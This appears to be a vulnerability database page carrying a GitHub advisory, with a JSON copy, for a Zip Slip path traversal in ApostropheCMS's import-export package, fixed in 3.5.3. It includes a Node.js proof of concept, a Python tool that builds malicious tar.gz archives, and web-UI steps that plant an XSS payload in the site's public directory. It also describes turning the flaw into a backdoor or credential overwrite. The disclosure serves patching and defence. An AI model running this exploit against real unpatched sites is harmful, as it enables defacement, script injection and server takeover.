GHSA-MWXC-M426-3F78

Vulnerability from github – Published: 2026-03-18 19:49 – Updated: 2026-03-18 19:49
VLAI?
Summary
ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction
Details

Reported: 2026-03-08
Status: patched and released in version 3.5.3 of @apostrophecms/import-export


Product

Field Value
Repository apostrophecms/apostrophe (monorepo)
Affected Package @apostrophecms/import-export
Affected File packages/import-export/lib/formats/gzip.js
Affected Function extract(filepath, exportPath) — lines ~132–157
Minimum Required Permission Global Content Modify (any editor-level user with import access)

Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.


Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write

Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

  • Any path the CMS process has permission to

2. Static Web Directory — Defacement & Malicious Asset Injection

ApostropheCMS serves <project-root>/public/ via Express static middleware:

// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables: - Full site defacement - Serving phishing pages from the legitimate CMS domain - Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart)

If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite

Overwrite .env, app.config.js, database seed files, or any config file to: - Exfiltrate database credentials on next load - Redirect authentication to an attacker-controlled backend - Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service

Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.


Required Permission

Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.


Proof of Concept

Two PoC artifacts are provided:

File Purpose
tmp-import-export-zip-slip-poc.js Automated Node.js harness — verifies the write happens without a browser
make-slip-tar.py Attacker tool — generates a real .tar.gz for upload via the CMS web UI

PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js)

const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) {
  const pack = tar.pack();
  const gzip = zlib.createGzip();
  const out = fs.createWriteStream(archivePath);

  const done = new Promise((resolve, reject) => {
    out.on('finish', resolve);
    out.on('error', reject);
    gzip.on('error', reject);
    pack.on('error', reject);
  });

  pack.pipe(gzip).pipe(out);

  pack.entry({ name: 'aposDocs.json' }, '[]');
  pack.entry({ name: 'aposAttachments.json' }, '[]');

  // Traversal payload
  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');

  pack.finalize();
  await done;
}

(async () => {
  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
  const archivePath = path.join(base, 'evil-export.gz');
  const exportPath = archivePath.replace(/\.gz$/, '');

  await makeArchive(archivePath);

  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

  // Ensure clean pre-state
  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}

  await gzipFormat.input(archivePath);

  const exists = fs.existsSync(expectedOutsideWrite);
  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

  console.log('EXPORT_PATH:', exportPath);
  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
  console.log('WRITTEN_CONTENT:', content.trim());
})();

Run:

node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed):

EXPORT_PATH:            C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT:        PWNED_FROM_TAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.


PoC 2 — Web UI Exploitation (make-slip-tar.py)

Script (make-slip-tar.py):

import tarfile, io, sys

if len(sys.argv) != 3:
    print("Usage: python make-slip-tar.py <payload_file> <target_path>")
    sys.exit(1)

payload_file = sys.argv[1]
target_path  = sys.argv[2]
out = "evil-slip.tar.gz"

with open(payload_file, "rb") as f:
    payload = f.read()

with tarfile.open(out, "w:gz") as t:
    docs = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposDocs.json")
    info.size = len(docs.getvalue())
    t.addfile(info, docs)

    atts = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposAttachments.json")
    info.size = len(atts.getvalue())
    t.addfile(info, atts)

    info = tarfile.TarInfo(target_path)
    info.size = len(payload)
    t.addfile(info, io.BytesIO(payload))

print("created", out)

Steps to Reproduce (Web UI — Real Exploitation)

Step 1 — Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html

Step 2 — Generate the malicious archive

Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed:

python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates evil-slip.tar.gz containing: - aposDocs.json — empty, required by the importer - aposAttachments.json — empty, required by the importer - ../../../../<project-root>/public/injected.html — the traversal payload

Step 3 — Upload via CMS Import UI

  1. Log in to the CMS with any account that has Global Content Modify permission.
  2. Navigate to Open Global Settings → More Options → Import.
  3. Select evil-slip.tar.gz and click Import.
  4. The CMS accepts the file and begins extraction — no error is shown.

Step 4 — Confirm the write

curl http://localhost:3000/injected.html

Expected response:

<!-- injected by attacker --><script>alert('XSS')</script>

The file is now being served from the CMS's own domain to all visitors.

Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing


Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.5.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@apostrophecms/import-export"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T19:49:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "**Reported:** 2026-03-08  \n**Status:** patched and released in version 3.5.3 of `@apostrophecms/import-export`\n\n---\n\n## Product\n\n| Field | Value |\n|---|---|\n| Repository | `apostrophecms/apostrophe` (monorepo) |\n| Affected Package | `@apostrophecms/import-export` |\n| Affected File | `packages/import-export/lib/formats/gzip.js` |\n| Affected Function | `extract(filepath, exportPath)` \u2014 lines ~132\u2013157 |\n| Minimum Required Permission | **Global Content Modify** (any editor-level user with import access) |\n\n---\n\n## Vulnerability Summary\n\nThe `extract()` function in `gzip.js` constructs file-write paths using:\n\n```js\nfs.createWriteStream(path.join(exportPath, header.name))\n```\n\n`path.join()` does **not** resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path **outside** the intended extraction directory. No canonical-path check is performed before the write stream is opened.\n\nThis is a textbook **Zip Slip** vulnerability. Any user who has been granted the **Global Content Modify** permission \u2014 a role routinely assigned to content editors and site managers \u2014 can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to **any path the Node.js process can reach on the host filesystem**.\n\n---\n\n## Security Impact\n\nThis vulnerability provides **unauthenticated-equivalent arbitrary file write** to any user with content editor permissions. The full impact chain is:\n\n### 1. Arbitrary File Write\nWrite any file to any path the Node.js process user can access. Confirmed writable targets in testing:\n\n- Any path the CMS process has permission to\n\n### 2. Static Web Directory \u2014 Defacement \u0026 Malicious Asset Injection\nApostropheCMS serves `\u003cproject-root\u003e/public/` via Express static middleware:\n\n```js\n// packages/apostrophe/modules/@apostrophecms/asset/index.js\nexpress.static(self.apos.rootDir + \u0027/public\u0027, self.options.static || {})\n```\n\nA traversal payload targeting `public/` makes any uploaded file **directly HTTP-accessible**:\n\nThis enables:\n- Full site defacement\n- Serving phishing pages from the legitimate CMS domain\n- Injecting malicious JavaScript served to all site visitors (stored XSS at scale)\n\n### 3. Persistent Backdoor / RCE (Post-Restart)\nIf the traversal targets any `.js` file loaded by Node.js on startup (e.g., a module `index.js`, a config file, a routes file), the payload becomes a **persistent backdoor** that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure \u2014 meaning the attacker does not need to manually trigger one.\n\n### 4. Credential and Secret File Overwrite\nOverwrite `.env`, `app.config.js`, database seed files, or any config file to:\n- Exfiltrate database credentials on next load\n- Redirect authentication to an attacker-controlled backend\n- Disable security controls (rate limiting, MFA, CSRF)\n\n### 5. Denial of Service\nOverwrite any critical application file (`package.json`, `node_modules` entries, etc.) with garbage data, rendering the application unbootable.\n\n---\n\n## Required Permission\n\n**Global Content Modify** \u2014 this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is **not** an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.\n\n---\n\n## Proof of Concept\n\nTwo PoC artifacts are provided:\n\n| File | Purpose |\n|---|---|\n| `tmp-import-export-zip-slip-poc.js` | Automated Node.js harness \u2014 verifies the write happens without a browser |\n| `make-slip-tar.py` | Attacker tool \u2014 generates a real `.tar.gz` for upload via the CMS web UI |\n\n---\n\n### PoC 1 \u2014 Automated Verification (`tmp-import-export-zip-slip-poc.js`)\n\n```js\nconst fs = require(\u0027node:fs\u0027);\nconst fsp = require(\u0027node:fs/promises\u0027);\nconst path = require(\u0027node:path\u0027);\nconst os = require(\u0027node:os\u0027);\nconst zlib = require(\u0027node:zlib\u0027);\nconst tar = require(\u0027tar-stream\u0027);\n\nconst gzipFormat = require(\u0027./packages/import-export/lib/formats/gzip.js\u0027);\n\nasync function makeArchive(archivePath) {\n  const pack = tar.pack();\n  const gzip = zlib.createGzip();\n  const out = fs.createWriteStream(archivePath);\n\n  const done = new Promise((resolve, reject) =\u003e {\n    out.on(\u0027finish\u0027, resolve);\n    out.on(\u0027error\u0027, reject);\n    gzip.on(\u0027error\u0027, reject);\n    pack.on(\u0027error\u0027, reject);\n  });\n\n  pack.pipe(gzip).pipe(out);\n\n  pack.entry({ name: \u0027aposDocs.json\u0027 }, \u0027[]\u0027);\n  pack.entry({ name: \u0027aposAttachments.json\u0027 }, \u0027[]\u0027);\n\n  // Traversal payload\n  pack.entry({ name: \u0027../../zip-slip-pwned.txt\u0027 }, \u0027PWNED_FROM_TAR\u0027);\n\n  pack.finalize();\n  await done;\n}\n\n(async () =\u003e {\n  const base = await fsp.mkdtemp(path.join(os.tmpdir(), \u0027apos-zip-slip-\u0027));\n  const archivePath = path.join(base, \u0027evil-export.gz\u0027);\n  const exportPath = archivePath.replace(/\\.gz$/, \u0027\u0027);\n\n  await makeArchive(archivePath);\n\n  const expectedOutsideWrite = path.resolve(exportPath, \u0027../../zip-slip-pwned.txt\u0027);\n\n  // Ensure clean pre-state\n  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}\n\n  await gzipFormat.input(archivePath);\n\n  const exists = fs.existsSync(expectedOutsideWrite);\n  const content = exists ? await fsp.readFile(expectedOutsideWrite, \u0027utf8\u0027) : \u0027\u0027;\n\n  console.log(\u0027EXPORT_PATH:\u0027, exportPath);\n  console.log(\u0027EXPECTED_OUTSIDE_WRITE:\u0027, expectedOutsideWrite);\n  console.log(\u0027ZIP_SLIP_WRITE_HAPPENED:\u0027, exists);\n  console.log(\u0027WRITTEN_CONTENT:\u0027, content.trim());\n})();\n```\n**Run:**\n```powershell\nnode .\\tmp-import-export-zip-slip-poc.js\n```\n\n**Observed output (confirmed):**\n```\nEXPORT_PATH:            C:\\Users\\...\\AppData\\Local\\Temp\\apos-zip-slip-XXXXXX\\evil-export\nEXPECTED_OUTSIDE_WRITE: C:\\Users\\...\\AppData\\Local\\Temp\\zip-slip-pwned.txt\nZIP_SLIP_WRITE_HAPPENED: true\nWRITTEN_CONTENT:        PWNED_FROM_TAR\n```\n\nThe file `zip-slip-pwned.txt` is written **two directories above** the extraction root, confirming path traversal.\n\n---\n\n### PoC 2 \u2014 Web UI Exploitation (`make-slip-tar.py`)\n\n**Script (`make-slip-tar.py`):**\n```python\nimport tarfile, io, sys\n\nif len(sys.argv) != 3:\n    print(\"Usage: python make-slip-tar.py \u003cpayload_file\u003e \u003ctarget_path\u003e\")\n    sys.exit(1)\n\npayload_file = sys.argv[1]\ntarget_path  = sys.argv[2]\nout = \"evil-slip.tar.gz\"\n\nwith open(payload_file, \"rb\") as f:\n    payload = f.read()\n\nwith tarfile.open(out, \"w:gz\") as t:\n    docs = io.BytesIO(b\"[]\")\n    info = tarfile.TarInfo(\"aposDocs.json\")\n    info.size = len(docs.getvalue())\n    t.addfile(info, docs)\n\n    atts = io.BytesIO(b\"[]\")\n    info = tarfile.TarInfo(\"aposAttachments.json\")\n    info.size = len(atts.getvalue())\n    t.addfile(info, atts)\n\n    info = tarfile.TarInfo(target_path)\n    info.size = len(payload)\n    t.addfile(info, io.BytesIO(payload))\n\nprint(\"created\", out)\n```\n\n---\n\n## Steps to Reproduce (Web UI \u2014 Real Exploitation)\n\n### Step 1 \u2014 Create the payload file\n\nCreate a file with the content you want to write to the server. For a static web directory write:\n\n```bash\necho \"\u003c!-- injected by attacker --\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\" \u003e payload.html\n```\n\n### Step 2 \u2014 Generate the malicious archive\n\nUse the traversal path that reaches the CMS `public/` directory. The number of `../` segments depends on where the CMS stores its temporary extraction directory relative to the project root \u2014 typically 2\u20134 levels up. Adjust as needed:\n\n```bash\npython make-slip-tar.py payload.html \"../../../../\u003cproject-root\u003e/public/injected.html\"\n```\n\nThis creates `evil-slip.tar.gz` containing:\n- `aposDocs.json` \u2014 empty, required by the importer\n- `aposAttachments.json` \u2014 empty, required by the importer\n- `../../../../\u003cproject-root\u003e/public/injected.html` \u2014 the traversal payload\n\n### Step 3 \u2014 Upload via CMS Import UI\n\n1. Log in to the CMS with any account that has **Global Content Modify** permission.\n2. Navigate to **Open Global Settings \u2192 More Options \u2192 Import**.\n3. Select `evil-slip.tar.gz` and click **Import**.\n4. The CMS accepts the file and begins extraction \u2014 no error is shown.\n\n### Step 4 \u2014 Confirm the write\n\n```bash\ncurl http://localhost:3000/injected.html\n```\n\nExpected response:\n```\n\u003c!-- injected by attacker --\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\n```\n\nThe file is now being served from the CMS\u0027s own domain to all visitors.\n\n### Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing\n---",
  "id": "GHSA-mwxc-m426-3f78",
  "modified": "2026-03-18T19:49:07Z",
  "published": "2026-03-18T19:49:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…